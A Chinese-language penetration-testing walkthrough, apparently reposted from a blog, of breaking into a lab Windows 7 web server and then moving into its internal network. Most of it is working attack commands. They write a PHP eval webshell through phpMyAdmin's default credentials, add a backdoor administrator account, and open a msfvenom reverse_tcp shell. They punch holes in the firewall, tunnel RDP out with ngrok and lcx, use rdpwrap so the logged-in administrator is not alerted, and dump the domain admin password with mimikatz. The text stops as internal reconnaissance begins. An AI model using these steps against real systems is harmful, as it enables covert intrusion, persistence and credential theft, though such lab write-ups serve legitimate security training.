0x01 入侵web服务器
0x 1.1 信息收集
首先使用 nmap 来扫描ip 段存活的主机
nmap -sn 192.168.127.0/24
这里网上有的用 netdiscover 来扫描,其实和 nmap -sn 扫描原理是一样的,都是通过arp 来实现扫描。
然后接着nmap 激进模式扫端口:
nmap -A -T4 192.168.127.154
发现80端口,浏览器访问,发现是phpStudy 搭建的环境,而且网站根路径是C:/php/WWW:
0x 1.2 写webshell并连接
phpstudy 默认自带的 phpmyadmin 可以用来管理数据库,默认密码是root/root 。测试一下,发现密码是默认密码,成功登录:
然后就是利用phpmyadmin 写 shell 了:
来到变量处,修改general log 和 general log file 的值:
然后执行 语句:
SELECT "<?php @eval($_POST[1]);?>";
然后蚁剑连接:(kali 需要自己手动从github上面安装蚁剑,遇到一个问题就是加载器安装源码的时候 会报 not found,是因为蚁剑源码被删了。解决方法是把 自己 windows 中蚁剑的源码 拷贝到 kali 中 ,然后再用加载器加载)
虚拟终端也好使,没有设置什么disable_function
0x02 入侵内网
从虚拟终端返回的信息可以看到是 windows 系统:
那么windows 系统,我们尝试看是否可以远程连接。【有一个最快的方法就是直接使用rdpwrap 工具中的 RDPWInst ,不仅可以开启rdp 服务,开启防火墙规则,还可以允许非服务器版本windows多用户登录。】
查看3389 端口,发现并没有开启:
使用如下命令开启(适用于 win7,xp,2008 , 关闭则把0换成1):
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
添加用户:
net user test @!ke123 /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户
kali 安装远程桌面连接工具:
apt-get install rdesktop
但是直接连接失败。
zmap 扫3389端口:
发现3389 是 filtered 状态,估计是防火墙的原因。
果然,设置了允许被连接程序的白名单,而远程桌面不在白名单内。
0x 2.1 关闭防火墙,允许3389 连接
此时一般可以有如下思路:
1.反弹一个msf的shell回来,尝试打开指定的端口
2.使用命令行直接添加规则允许3389端口流量
3.尝试使用隧道连接3389
我们一个个来试一试:
0x 2.1.1 方法一:反弹msf 的shell ,打开指定的端口
这里就没有免杀,直接用msfvenom 生成一个 shell.exe 木马程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.130 LPORT=4444 -f exe > shell.exe
然后用蚁剑连接的webshell 上传:
msf 这边监听端口:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set Lhost 192.168.127.130
set lport 4444
run
然后 蚁剑虚拟终端中运行 shell.exe ,成功收到session:
然后允许rdp 连接:
run post/windows/manage/enable_rdp
我们再回到win7 下查看,发现rdp 已经被允许了:
然后使用 rdesktop 成功登录:
rdesktop 192.168.127.154:3389
0x 2.1.2 方法二:命令行直接添加防火墙规则
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
0x 2.1.3 方法三:使用隧道
(1) 使用 sunny-ngrok (ngrok 下载太慢了)
首先去 http://www.ngrok.cc/ 注册账号,然后里面购买一个免费的ngrok 服务器,然后创建一个隧道,绑定win7的3389端口,然后下载客户端到 win7 上,运行客户端,然后就可以在kali 中连接win7 的远程桌面了。
但是实际操作的时候win7 显示,客户端不是有效的win32 程序。所以这种方法失败,换个方法。
但是除了 exe ,还有其他版本可供我们下载:
下载php 版本,但是这台靶机上也出错,认证错误,但是我在另一台win7 sp1 上执行成功。
另外,这里出现一个小插曲:
一开始,不明白为什么 ngrok 可以绕过防火墙对3389端口流量的限制,如果是单纯的把3389映射端口到公网上,3389的流量仍然会被 防火墙阻止的。
所以重新开启了一个 win7 sp1 的虚拟机,上传客户端到win7 sp1 上,然后用wireshark 抓了抓包:
发现运行客户端后一直和 64.69.43.237 的 4443 端口通信,网上查了查 4443端口,发现是ngrok 服务端默认监听的端口。然后客户端这边使用的端口是49346,49347等大端口,看样子是随机的一个大端口。然后设置过滤器 tcp.port == 3389 ,发现没有这样的包! 所以推测,ngrok 客户端应该是本地进行了一个端口流量转发,把3389的流量转发到其他端口,然后用转发了的端口(没有被防火墙禁止)和服务端 4443 端口通信,所以就绕过了防火墙的限制。
后来看看了 php 版本和 python版本的源代码之后,发现其实是利用了socket 去主动连接服务端。然后本地也同时创建 socket 来连接本地的3389.
微软官方文档中 也提到 出站规则默认是允许全部流量:
(2) 使用lcx.exe 来 绕过防火墙
lcx.exe 是一个传输层隧道工具,有个-tran 参数可以实现本地端口转发,利用这个可以绕过防火墙,具体操作:
首先kali (攻击机)上
wine lcx.exe -listen 8000 4444
然后利用蚁剑的虚拟终端执行:
lcx.exe -tran 3333 127.0.0.1 3389
lcx.exe -slave <攻击机ip> 8000 127.0.0.1 3333
但是也遇到一个问题,就是 lcx.exe 在 -tran 的时候会触发 防火墙警报(这是因为第一次运行 lcx.exe,其实后面分析就算防火墙关闭了lcx.exe 的流量,lcx.exe 同样生效)
这个时候可以先命令行新建一个防火墙规则(主要是为了不弹上面那个窗口),允许lcx.exe 的流量
netsh advfirewall firewall add rule name="lcx" dir=in action=allow program="C:\php\WWW\lcx.exe" enable=yes
另外发现,lcx.exe 的 -tran 参数好像并没有作用(可以不用-tran 参数也行)
抓包看了看,发现就算设置了 -tran 参数,和远程攻击机通信的端口也不是-tran 设置的端口,而是一个 随机的大端口,和 ngrok 差不多。
在和大端口通信:
关闭了防火墙里面允许 lcx.exe 和 远程桌面,依然可以使用lcx 来端口转发。(原因因为是这里的允许列表对应的入站规则,而lcx 采用的应该也是和ngrok 类似的socket 去主动连接远程端口的技术)
当然对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。
这个时候不慌,使用 rdpwrap
rdpwrap 是一款可以允许非服务器版本进行多个用户登录的patcher,从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:
RDPWInst.exe -i -s
这样就可以不惊动已在线的管理员实现远程登录。
最后在渗透结束后,可以使用:
RDPWInst.exe -u -k
来删除patch,注意需要添加-k 参数,意思是还原使用之前的设置
0x 2.2 拿到域管理员密码:
meterpreter 中操作,首先 getsystem 提权:
加载mimiktz 模块:
加载前,首先sysinfo 查看系统位数,发现是64位,而我们的meterpreter 是 32位
那么需要在加载mimiktz模块之前进程迁移(其实为了meterpreter session 稳定和隐蔽,最好连上session的时候就进程迁移到 explore.exe中)
ps 查看系统进程
migrate 2724 ,进程迁移
现在 sysinfo ,meterpreter 变成64位
load mimikatz 加载mimikatz 模块,然后wdigest 查看明文密码,成功获取:
0x 2.3 内网漫游
开始内网漫游之前,还是用 msf 来操作吧,比较msf 是内网大杀器。毕竟蚁剑的虚拟终端有些命令不能正常返回结果:
比如 net view
估计是timeout 的原因
0x 2.3.1 内网信息收集
其实内网信息收集主要就是收集内网中是否有域,然后域中各个主机的主机名和ip ,域控的主机名和ip ,以及域内用户和域管理员用户名
(下面的截图是直接在win 7 上演示的,没有直接在msf 中了,因为写这部分的时候 msf 在update ,然后之前又正好只保存了直接在win 7 上的截图
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)